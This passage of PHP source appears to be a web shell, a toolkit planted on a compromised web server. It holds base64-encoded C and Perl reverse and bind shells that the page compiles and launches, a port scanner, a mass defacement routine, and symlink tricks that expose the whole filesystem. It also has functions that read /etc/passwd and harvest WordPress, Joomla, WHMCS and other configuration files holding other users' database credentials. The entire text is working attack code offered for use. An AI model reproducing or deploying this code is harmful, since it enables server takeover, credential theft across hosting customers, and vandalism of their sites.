    $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";
    $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
    $bind_port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";
    $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
    echo \'<h1>Network tools</h1><div class=content>
    <form name=\'nfp\' onSubmit="g(null,null,this.using.value,this.port.value,this.pass.value);return false;">
    <br /><span>Bind port to /bin/sh</span><br/>
    Port: <input type=\'text\' name=\'port\' value=\'444\'> Password: <input type=\'text\' name=\'pass\' value=\'BHP\'> Using: <select name="using"><option value=\'bpc\'>C</option><option value=\'bpp\'>Perl</option></select> <input type=submit value=">>">
    </form>
    <form name=\'nfp\' onSubmit="g(null,null,this.using.value,this.server.value,this.port.value);return false;">
    <br /><br /><span>Back-connect to</span><br/>
    Server: <input type=\'text\' name=\'server\' value="\'.$_SERVER[\'REMOTE_ADDR\'].\'"> Port: <input type=\'text\' name=\'port\' value=\'444\'> Using: <select name="using"><option value=\'bcc\'>C</option><option value=\'bcp\'>Perl</option></select> <input type=submit value=">>">
    </form><br>\';    
    if(isset($_POST[\'p1\'])) {
        function cf($f,$t) {
            $w=@fopen($f,"w") or @function_exists(\'file_put_contents\');
            if($w)    {
                @fwrite($w,base64_decode($t)) or @fputs($w,base64_decode($t)) or @file_put_contents($f,base64_decode($t));
                @fclose($w);
            }
        }
        if($_POST[\'p1\'] == \'bpc\') {
            cf("/tmp/bp.c",$bind_port_c);
            $out = ex("gcc -o /tmp/bp /tmp/bp.c");
            @unlink("/tmp/bp.c");
            $out .= ex("/tmp/bp ".$_POST[\'p2\']." ".$_POST[\'p3\']." &");
            echo "<pre class=ml1>$out
".ex("ps aux | grep bp")."</pre>";
        }
        if($_POST[\'p1\'] == \'bpp\') {
            cf("/tmp/bp.pl",$bind_port_p);
            $out = ex(which("perl")." /tmp/bp.pl ".$_POST[\'p2\']." &");
            echo "<pre class=ml1>$out
".ex("ps aux | grep bp.pl")."</pre>";
        }
        if($_POST[\'p1\'] == \'bcc\') {
            cf("/tmp/bc.c",$back_connect_c);
            $out = ex("gcc -o /tmp/bc /tmp/bc.c");
            @unlink("/tmp/bc.c");
            $out .= ex("/tmp/bc ".$_POST[\'p2\']." ".$_POST[\'p3\']." &");
            echo "<pre class=ml1>$out
".ex("ps aux | grep bc")."</pre>";
        }
        if($_POST[\'p1\'] == \'bcp\') {
            cf("/tmp/bc.pl",$back_connect_p);
            $out = ex(which("perl")." /tmp/bc.pl ".$_POST[\'p2\']." ".$_POST[\'p3\']." &");
            echo "<pre class=ml1>$out
".ex("ps aux | grep bc.pl")."</pre>";
        }
    }
    echo \'</div>\';
    printFooter();
}
function actionPortScanner() {
    printHeader();
    echo \'<h1>Port Scanner</h1>\';
    echo \'<div class="content">\';
    echo \'<form action="" method="post">\';
    if(isset($_POST[\'host\']) && is_numeric($_POST[\'end\']) && is_numeric($_POST[\'start\'])){
        $start = strip_tags($_POST[\'start\']);
        $end = strip_tags($_POST[\'end\']);
        $host = strip_tags($_POST[\'host\']);
        for($i = $start; $i<=$end; $i++){
            $fp = @fsockopen($host, $i, $errno, $errstr, 3);
            if($fp){
                echo \'Port \'.$i.\' is <font color=aqua>open</font><br>\';
            }
            flush();
        }
    } else {
        echo \'<br /><br /><center><input type="hidden" name="a" value="PortScanner"><input type="hidden" name=p1><input type="hidden" name="p2">
              <input type="hidden" name="c" value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'">
              <input type="hidden" name="charset" value="\'.(isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\').\'">
              Host: <input type="text" name="host" value="localhost"/><br /><br />
              Port start: <input type="text" name="start" value="0"/><br /><br />
              Port end:<input type="text" name="end" value="5000"/><br /><br />
              <input type="submit" value="Scan Ports" />
              </form></center><br /><br />\';
    }
    echo \'</div>\';
    printFooter();    
}
 function actionDomain() {
                                                                    printHeader();
                                                                    echo \'<h1>local domain viewer</h1><div class=content>\';
                                                                    $file = @implode(@file("/etc/named.conf"));
                                                                    if (!$file) {
                                                                        die("# can\'t ReaD -> [ /etc/named.conf ]");
                                                                    }
                                                                    preg_match_all("#named/(.*?).db#", $file, $r);
                                                                    $domains = array_unique($r[1]);
                                                                    //check();
                                                                    //if(isset($_GET[\'ShowAll\']))
                                                                    {
                                                                        echo "<table align=center border=1 width=59% cellpadding=5>
<tr><td colspan=2>[+] There are : [ <b>" . count($domains) . "</b> ] Domain</td></tr>
<tr><td>Domain</td><td>User</td></tr>";
                                                                        foreach ($domains as $domain) {
                                                                            $user = posix_getpwuid(@fileowner("/etc/valiases/" . $domain));
                                                                            echo "<tr><td>$domain</td><td>" . $user[\'name\'] . "</td></tr>";
                                                                        }
                                                                        echo "</table>";
                                                                    }
                                                                    echo \'</div>\';
                                                                    printFooter();
                                                                }												
function actionDeface() {
                                                                    printHeader();
                                                                    echo "<h1>Single User Mass Deface</h1><div class=content>";
?>
<form ENCTYPE="multipart/form-data" action="<?$_SERVER[\'PHP_SELF\']?>" method=POST onSubmit="g(null,null,this.path.value,this.file.value,this.Contents.value);return false;">
<p align="Left">Folder: <input type=text name=path size=60 value="<?=getcwd(); ?>">
<br>file name : <input type=text name=file size=20 value="index.htm">
<br>Text Content : <input type=text name=Contents size=20 value="Hacked by 1337 h@x0r"> 
<br><input type=submit value="Update"></p></form>
<?php
                                                                    if ($_POST[\'a\'] == \'Deface\') {
                                                                        $mainpath = $_POST[p1];
                                                                        $file = $_POST[p2];
                                                                        $txtContents = $_POST[p3];
                                                                        echo "-----------------------------------------------<br>
[+] Single user Mass defacer<br>
-----------------------------------------------<br><br> ";
                                                                        $dir = opendir($mainpath); //fixme - cannot deface when change to writeable path!!
                                                                        while ($row = readdir($dir)) {
                                                                            $start = @fopen("$row/$file", "w+");
                                                                            $code = $txtContents;
                                                                            $finish = @fwrite($start, $code);
                                                                            if ($finish) {
                                                                                echo "http://$row/$file<br>";
                                                                            }
                                                                        if (strncasecmp(PHP_OS, \'WIN\', 3) == 0) {
    exec("for /r %cd% %i in (.) do @copy $file %i 1>NUL");
} else {
      system("find $PWM -type d -exec cp $file {} \;");
                                                                            }
																		}
                                                                        echo "-----------------------------------------------<br><br>[+] Script by 1337 h@x0r [+]";
                                                                    }
                                                                    echo \'</div>\';
                                                                    printFooter();
                                                                }
function actionSymlink() {
    printHeader();
    echo \'<h1>Symlink</h1>\';
    $furl = \'http://\'.$_SERVER[\'SERVER_NAME\'].$_SERVER[\'REQUEST_URI\'];
    $expld = explode(\'/\',$furl );
    $burl =str_replace(end($expld),\'\',$furl);  
    echo \'<div class="content"><center>
                <h3>[ <a href="#" onclick="g(\'symlink\',null,\'website\',null)">Domains</a> ] - 
                    [ <a href="#" onclick="g(\'symlink\',null,\'whole\',null)">Whole Server Symlink<sup style="color:red;text-decoration:blink;"></sup></a> ] - 
                    [ <a href="#" onclick="g(\'symlink\',null,\'config\',null)">Config files symlink</a> ]</h3></center>\';
    if(isset($_POST[\'p1\']) && $_POST[\'p1\']==\'website\')
    {
        echo "<center>";
        $d0mains = @file("/etc/named.conf");
        if(!$d0mains){ 
            echo "<pre class=ml1 style=\'margin-top:5px\'>Cant access this file on server -> [ /etc/named.conf ]</pre></center>"; 
        } else {
            echo "<table align=center class=\'main\' border=0 ><tr><th> Count </th><th> Domains </th><th> Users </th></tr>";
            $unk = array();
            foreach($d0mains as $d0main){
                if(@eregi("zone",$d0main)){
                    preg_match_all(\'#zone "(.*)"#\', $d0main, $domains);
                    flush();
                    if(strlen(trim($domains[1][0])) > 2){
                        $unk[] = $domains[1][0];
                        flush();
                    }
                }
            }
            $count=1;
            $unk = array_unique($unk);
            $l=0;
            foreach($unk as $d){
                $user = posix_getpwuid(@fileowner("/etc/valiases/".$d));
                echo "<tr".($l?\' class=l1\':\'\')."><td>".$count."</td><td><a href=http://".$d."/>".$d."</a></td><td>".$user[\'name\']."</td></tr>";
                flush();
                $count++;
                $l=$l?0:1;
            }
            echo "</table>";
        }
        echo "</center>"; 
    }
    if(isset($_POST[\'p1\']) && $_POST[\'p1\']==\'whole\')
    {
        echo "<center>";
        @mkdir(\'PCA_sym\',0777);
        $hdt  = "Options all
DirectoryIndex Sux.html
AddType text/plain .php
AddHandler server-parsed .php
AddType text/plain .html
AddHandler txt .html
Require None
Satisfy Any";
        $hfp =@fopen (\'PCA_sym/.htaccess\',\'w\');
        fwrite($hfp ,$hdt);
        if(function_exists(\'symlink\')) {
            @symlink(\'/\',\'PCA_sym/root\');
        }
        $d0mains = @file(\'/etc/named.conf\');
        if(!$d0mains) {
            echo "<pre class=ml1 style=\'margin-top:5px\'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
            echo "<table align=\'center\' width=\'40%\' class=\'main\'><tr><th> Count </th><th> Domains </th><th> User </th><th> Symlink </th></tr>";
            $dt = file(\'/etc/passwd\');
            $l=0;
            foreach($dt as $d) {
                $r = explode(\':\',$d);
                if(strpos($r[5],\'home\')) {
                    echo "<tr".($l?\' class=l1\':\'\')."><td>".$j."</td><td>---</td><td>".$r[0]."</td><td><a href=\'PCA_sym/root".$r[5]."/public_html\' target=\'_blank\'>symlink</a></td></tr>";
                    $l=$l?0:1;
                    $j++;
                }
            }            
            echo \'</table>\';
        } else {
            echo "<table align=\'center\' width=\'40%\' class=\'main\'><tr><th> Count </th><th> Domains </th><th> User </th><th> Symlink </th></tr>";
            $count=1;
            $mck = array();
            foreach($d0mains as $d0main){
                if(@eregi(\'zone\',$d0main)){
                    preg_match_all(\'#zone "(.*)"#\',$d0main,$domain);
                    flush();
                    if(strlen(trim($domain[1][0])) >2){
                        $mck[] = $domain[1][0];
                    }
                }
            }
            $mck = array_unique($mck);
            $usr = array();
            $dmn = array();
            foreach($mck as $o) {
                $infos = @posix_getpwuid(fileowner("/etc/valiases/".$o));
                $usr[] = $infos[\'name\'];
                $dmn[] = $o;
            }
            array_multisort($usr,$dmn);
            $dt = file(\'/etc/passwd\');
            $passwd = array();
            foreach($dt as $d) {
                $r = explode(\':\',$d);
                if(strpos($r[5],\'home\')) {
                    $passwd[$r[0]] = $r[5];
                }
            }
            $l=0;
            $j=1;
            foreach($usr as $r) {
                echo "<tr".($l?\' class=l1\':\'\')."><td>".$count++."</td>
                                                 <td><a target=\'_blank\' href=http://".$dmn[$j-1].\'/>\'.$dmn[$j-1].\' </a></td>
                                                 <td>\'.$r."</td>
                                                 <td><a href=\'PCA_sym/root".$passwd[$r]."/public_html\' target=\'_blank\'>symlink</a></td></tr>";
                flush();
                $l=$l?0:1;
                $j++;
            }
            echo \'</table>\';
        }
        echo "</center>";    
    }
    if(isset($_POST[\'p1\']) && $_POST[\'p1\']==\'config\')
    {
        echo "<center>";
        @mkdir(\'PCA_sym\',0777);
        $hdt = "Options all 
 DirectoryIndex Sux.html 
 AddType text/plain .php 
 AddHandler server-parsed .php 
  AddType text/plain .html 
 AddHandler txt .html 
 Require None 
 Satisfy Any";
        $hfp = @fopen (\'PCA_sym/.htaccess\',\'w\');
        @fwrite($hfp ,$hdt);
        if(function_exists(\'symlink\')) {
            @symlink(\'/\',\'PCA_sym/root\');
        }
        $d0mains = @file(\'/etc/named.conf\');
        if(!$d0mains) {
            echo "<pre class=ml1 style=\'margin-top:5px\'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
        } else {
            echo "<table align=\'center\' width=\'40%\' class=\'main\' ><tr><th> Count </th><th> Domain </th<th> User </th>><th> Script </th></tr>";
            $count = 1;
            $l=0;
            foreach($d0mains as $d0main){
                if(@eregi(\'zone\',$d0main)){
                    preg_match_all(\'#zone "(.*)"#\',$d0main,$domain);
                    flush();
                    if(strlen(trim($domain[1][0]))>2){
                        $user = posix_getpwuid(@fileowner(\'/etc/valiases/\'.$domain[1][0]));
                        $c1 = $burl.\'/PCA_sym/root/home/\'.$user[\'name\'].\'/public_html/wp-config.php\';
                        $ch01 = get_headers($c1);
                        $cf01 = $ch01[0];
                        $c2 = $burl.\'/PCA_sym/root/home/\'.$user[\'name\'].\'/public_html/blog/wp-config.php\';
                        $ch02 = get_headers($c2);
                        $cf02 = $ch02[0];
                        $c3 = $burl.\'/PCA_sym/root/home/\'.$user[\'name\'].\'/public_html/configuration.php\';
                        $ch03 = get_headers($c3);
                        $cf03 = $ch03[0];
                        $c4 = $burl.\'/PCA_sym/root/home/\'.$user[\'name\'].\'/public_html/joomla/configuration.php\';
                        $ch04 = get_headers($c4);
                        $cf04 = $ch04[0];
                        $c5 = $burl.\'/PCA_sym/root/home/\'.$user[\'name\'].\'/public_html/includes/config.php\';
                        $ch05 = get_headers($c5);
                        $cf05 = $ch05[0];
                        $c6 = $burl.\'/PCA_sym/root/home/\'.$user[\'name\'].\'/public_html/vb/includes/config.php\';
                        $ch06 = get_headers($c6);
                        $cf06 = $ch06[0];
                        $c7 = $burl.\'/PCA_sym/root/home/\'.$user[\'name\'].\'/public_html/forum/includes/config.php\';
                        $ch07 = get_headers($c7);
                        $cf07 = $ch07[0];
                        $c8 = $burl.\'/PCA_sym/root/home/\'.$user[\'name\'].\'public_html/clients/configuration.php\';
                        $ch08 = get_headers($c8);
                        $cf08 = $ch08[0];
                        $c9 = $burl.\'/PCA_sym/root/home/\'.$user[\'name\'].\'/public_html/support/configuration.php\';
                        $ch09 = get_headers($c9);
                        $cf09 = $ch09[0];
                        $c10 = $burl.\'/PCA_sym/root/home/\'.$user[\'name\'].\'/public_html/client/configuration.php\';
                        $ch10 = get_headers($c10);
                        $cf10 = $ch10[0];
                        $c11 = $burl.\'/PCA_sym/root/home/\'.$user[\'name\'].\'/public_html/submitticket.php\';
                        $ch11 = get_headers($c11);
                        $cf11 = $ch11[0];
                        $c12 = $burl.\'/PCA_sym/root/home/\'.$user[\'name\'].\'/public_html/client/configuration.php\';
                        $ch12 = get_headers($c12);
                        $cf12 = $ch12[0];
                        $c13 = $burl.\'/PCA_sym/root/home/\'.$user[\'name\'].\'/public_html/includes/configure.php\';
                        $ch13 = get_headers($c13);
                        $cf13 = $ch13[0];
                        $c14 = $burl.\'/PCA_sym/root/home/\'.$user[\'name\'].\'/public_html/include/app_config.php\';
                        $ch14 = get_headers($c14);
                        $cf14 = $ch14[0];
                        $c15 = $burl.\'/PCA_sym/root/home/\'.$user[\'name\'].\'/public_html/sites/default/settings.php\';
                        $ch15 = get_headers($c15);
                        $cf15 = $ch15[0];
                        $out = \'&nbsp;\';
                        if(strpos($cf01,\'200\') == true)                                    {   $out = "<a href=\'".$c1."\' target=\'_blank\'>Wordpress</a>";   } 
                        elseif(strpos($cf02,\'200\') == true)                                {   $out = "<a href=\'".$c2."\' target=\'_blank\'>Wordpress</a>";   }
                        elseif(strpos($cf03,\'200\') == true && strpos($cf11,\'200\') == true) {   $out = " <a href=\'".$c11."\' target=\'_blank\'>WHMCS</a>";     }
                        elseif(strpos($cf09,\'200\') == true)                                {   $out = " <a href=\'".$c9."\' target=\'_blank\'>WHMCS</a>";      }
                        elseif(strpos($cf10,\'200\') == true)                                {   $out = " <a href=\'".$c10."\' target=\'_blank\'>WHMCS</a>";     }
                        elseif(strpos($cf03,\'200\') == true)                                {   $out = " <a href=\'".$c3."\' target=\'_blank\'>Joomla</a>";     }
                        elseif(strpos($cf04,\'200\') == true)                                {   $out = " <a href=\'".$c4."\' target=\'_blank\'>Joomla</a>";     }
                        elseif(strpos($cf05,\'200\') == true)                                {   $out = " <a href=\'".$c5."\' target=\'_blank\'>vBulletin</a>";  }
                        elseif(strpos($cf06,\'200\') == true)                                {   $out = " <a href=\'".$c6."\' target=\'_blank\'>vBulletin</a>";  }
                        elseif(strpos($cf07,\'200\') == true)                                {   $out = " <a href=\'".$c7."\' target=\'_blank\'>vBulletin</a>";  }
                        elseif(strpos($cf08,\'200\') == true)                                {   $out = " <a href=\'".$c7."\' target=\'_blank\'>Client Area</a>";  }
                        elseif(strpos($cf12,\'200\') == true)                                {   $out = " <a href=\'".$c7."\' target=\'_blank\'>Client Area</a>";  }
                        elseif(strpos($cf13,\'200\') == true)                                {   $out = " <a href=\'".$c7."\' target=\'_blank\'>osCommerce/Zen Cart</a>";  }
                        elseif(strpos($cf14,\'200\') == true)                                {   $out = " <a href=\'".$c7."\' target=\'_blank\'>Magento</a>";  }
                        elseif(strpos($cf15,\'200\') == true)                                {   $out = " <a href=\'".$c7."\' target=\'_blank\'>Drupal</a>";  }
                        else {
                            continue;
                        }
                        echo \'<tr\'.($l?\' class=l1\':\'\').\'><td>\'.$count++.\'</td><td><a href=http://www.\'.$domain[1][0].\'/>\'.$domain[1][0].\'</a></td><td>\'.$user[\'name\'].\'</td><td>\'.$out.\'</td></tr>\';
                        flush();
                        $l=$l?0:1;
                    }
                }
            }
            echo "</table>";
        }
        echo "</center>";   
    }
    echo "</div>";
    printFooter();
} 
 function actionJumping() 
{  printHeader();
echo \'<html><head><title>\'.getenv("HTTP_HOST").\' - Jumping Server</title></head><body>\';
($sm = ini_get(\'safe_mode\') == 0) ? $sm = \'off\': die(\'<font size="4" color="#000000" face="Calibri"><b>Error: Safe_mode = On</b></font>\');
set_time_limit(0);@$passwd = fopen(\'/etc/passwd\',\'r\');if (!$passwd) { die(\'<font size="4" color="#000000" face="Calibri"><b>[-] Error : Coudn`t Read /etc/passwd</b></font>\'); }
$pub = array();$users = array();$conf = array();$i = 0;while(!feof($passwd)){$str = fgets($passwd);if ($i > 100){ $pos = strpos($str,\':\');  $username = substr($str,0,$pos);  $dirz = \'/home/\'.$username.\'/public_html/\';  if (($username != \'\')) { if (is_readable($dirz)) { array_push($users,$username);  array_push($pub,$dirz); }}}$i++;}
echo \'<font color=aqua>   [-]==================[ START ]==================[-]<br></font>\';
foreach ($users as $user){echo "<font color=#a3e956> [+] /home/$user/public_html/</font><br/>";} echo "
 <font color=aqua><br>[-]==================[ FINISH ]==================[-] <br></font>
"; echo \'</body></html>\';
printFooter();
}						
function actionSubdomain() {
    printHeader();
	error_reporting(0);
$user = get_current_user();
$open = opendir(\'/home/\' . $user . \'/access-logs/\');
while ($dir = readdir($open)) {
    $totalDoamin[] = $dir;
}
closedir($open);
$total = count($totalDoamin);
$domain = $total - 2;
if ($domain > 0) {
    echo "<h2><b><font style=\"color: #a3e956 ;\" > ~ Total </font><font style=\"color: #a3e956; \">" . $domain . "</font><font style=\"color: #a3e956;\" > Sub Domain Found! ~ </font><br><BR>";
} else {
    echo "<h2><b> ~ <font color=\'red\' style=\"color: red; text-shadow: red 0px 0px 4px ; \">0</font><font style=\"color: #black; text-shadow: black 0px 0px 6px ;\"> Sub Domain Found! ~</font><br><BR>";
}
$scan = array_diff(scandir(\'/home/\' . $user . \'/access-logs/\'), array(\'.\'));
$domains = implode("
http://", $scan);
echo \'
<style>
body {
	text-align: center;		
		}
		</style><textarea style="color: #a3e956; background-color: black" rows=\'30\' cols=\'100\'>\';
print_r($domains);
echo \'</textarea>\';
    printFooter();
}
function actionConfigGrabber() {
    printHeader();
	error_reporting(0);
system(\'mkdir pca\');
	chmod(\'pca\', 0777);
$users = file("/etc/passwd");
        $lolx = array();
        foreach ($users as $user) {
            $users = explode(":", $user);
            $lolx[] = $users[0];
        }
        foreach ($lolx as $lol) {
            $space = "

" . "*" . "
" . "*" . "
" . "*" . "

";
            if (file_exists(\'/home/\' . $lol . \'public_html/portal/configuration.php\')) {
                $content = file_get_contents(\'/home/\' . $lol . \'public_html/portal/configuration.php\');
                $handle = fopen(\'pca/whm.txt\', \'a\');
                fwrite($handle, $content . $space);
                fclose($handle);
            } elseif (file_exists(\'/home/\' . $lol . \'/public_html/inc/config.php\')) {
                $content1 = file_get_contents(\'/home/\' . $lol . \'/public_html/inc/config.php\');
                $handle = fopen(\'pca/config.txt\', \'a\');
                fwrite($handle, $content . $space);
                fclose($handle);
            } elseif (file_exists(\'/home/\' . $lol . \'/public_html/sites/default/settings.php\')) {
                $content2 = file_get_contents(\'/home/\' . $lol . \'/public_html/sites/default/settings.php\');
                $handle = fopen(\'pca/config.txt\', \'a\');
                fwrite($handle, $content2 . $space);
                fclose($handle);
            } elseif (file_exists(\'/home/\' . $lol . \'/public_html/includes/configure.php\')) {
                $content3 = file_get_contents(\'/home/\' . $lol . \'/public_html/includes/configure.php\');
                $handle = fopen(\'pca/config.txt\', \'a\');
                fwrite($handle, $content3 . $space);
                fclose($handle);
            } elseif (file_exists(\'/home/\' . $lol . \'/public_html/lib/config.php\')) {
                $content4 = file_get_contents(\'/home/\' . $lol . \'/public_html/lib/config.php\');
                $handle = fopen(\'pca/config.txt\', \'a\');
                fwrite($handle, $content4 . $space);
                fclose($handle);
            } elseif (file_exists(\'/home/\' . $lol . \'/public_html/config/koneksi.php\')) {
                $content5 = file_get_contents(\'/home/\' . $lol . \'/public_html/config/koneksi.php\');
                $handle = fopen(\'pca/config.txt\', \'a\');
                fwrite($handle, $content5 . $space);
                fclose($handle);
            } elseif (file_exists(\'/home/\' . $lol . \'/public_html/vb/includes/config.php\')) {
                $content6 = file_get_contents(\'/home/\' . $lol . \'/public_html/vb/includes/config.php\');
                $handle = fopen(\'pca/config.txt\', \'a\');
                fwrite($handle, $content6 . $space);
                fclose($handle);
            } elseif (file_exists(\'/home/\' . $lol . \'/public_html/includes/config.php\')) {
                $content7 = file_get_contents(\'/home/\' . $lol . \'/public_html/includes/config.php\');
                $handle = fopen(\'pca/config.txt\', \'a\');
                fwrite($handle, $content7 . $space);
                fclose($handle);
            } elseif (file_exists(\'/home/\' . $lol . \'/public_html/forum/includes/config.php\')) {
                $content8 = file_get_contents(\'/home/\' . $lol . \'/public_html/forum/includes/config.php\');
                $handle = fopen(\'pca/config.txt\', \'a\');
                fwrite($handle, $content8 . $space);
                fclose($handle);
            } elseif (file_exists(\'/home/\' . $lol . \'/public_html/cc/includes/config.php\')) {
                $content9 = file_get_contents(\'/home/\' . $lol . \'/public_html/cc/includes/config.php\');
                $handle = fopen(\'pca/config.txt\', \'a\');
                fwrite($handle, $content9 . $space);
                fclose($handle);
            } elseif (file_exists(\'/home/\' . $lol . \'/public_html/config.php\')) {
                $content10 = file_get_contents(\'/home/\' . $lol . \'/public_html/config.php\');
                $handle = fopen(\'pca/config.txt\', \'a\');
                fwrite($handle, $content10 . $space);
                fclose($handle);
            } elseif (file_exists(\'/home/\' . $lol . \'/public_html/forum/includes/config.php\')) {
                $content11 = file_get_contents(\'/home/\' . $lol . \'/public_html/forum/includes/config.php\');
                $handle = fopen(\'pca/config.txt\', \'a\');
                fwrite($handle, $content11 . $space);
                fclose($handle);
            } elseif (file_exists(\'/home/\' . $lol . \'/public_html/wp-config.php\')) {
                $content12 = file_get_contents(\'/home/\' . $lol . \'/public_html/wp-config.php\');
                $handle = fopen(\'pca/config.txt\', \'a\');
                fwrite($handle, $content12 . $space);
                fclose($handle);
            } elseif (file_exists(\'/home/\' . $lol . \'/public_html/blog/wp-config.php\')) {
                $content13 = file_get_contents(\'/home/\' . $lol . \'/public_html/blog/wp-config.php\');
                $handle = fopen(\'pca/config.txt\', \'a\');
                fwrite($handle, $content13 . $space);
                fclose($handle);
            } elseif (file_exists(\'/home/\' . $lol . \'/public_html/wp/wp-config.php\')) {
                $content14 = file_get_contents(\'/home/\' . $lol . \'/public_html/wp/wp-config.php\');
                $handle = fopen(\'pca/config.txt\', \'a\');
                fwrite($handle, $content14 . $space);
                fclose($handle);
            } elseif (file_exists(\'/home/\' . $lol . \'/public_html/home/wp-config.php\')) {
                $content15 = file_get_contents(\'/home/\' . $lol . \'/public_html/home/wp-config.php\');
                $handle = fopen(\'pca/config.txt\', \'a\');
                fwrite($handle, $content15 . $space);
                fclose($handle);
            } elseif (file_exists(\'/home/\' . $lol . \'/public_html/wp-config.php\')) {
                $content16 = file_get_contents(\'/home/\' . $lol . \'/public_html/wp-config.php\');
                $handle = fopen(\'pca/config.txt\', \'a\');
                fwrite($handle, $content16 . $space);
                fclose($handle);
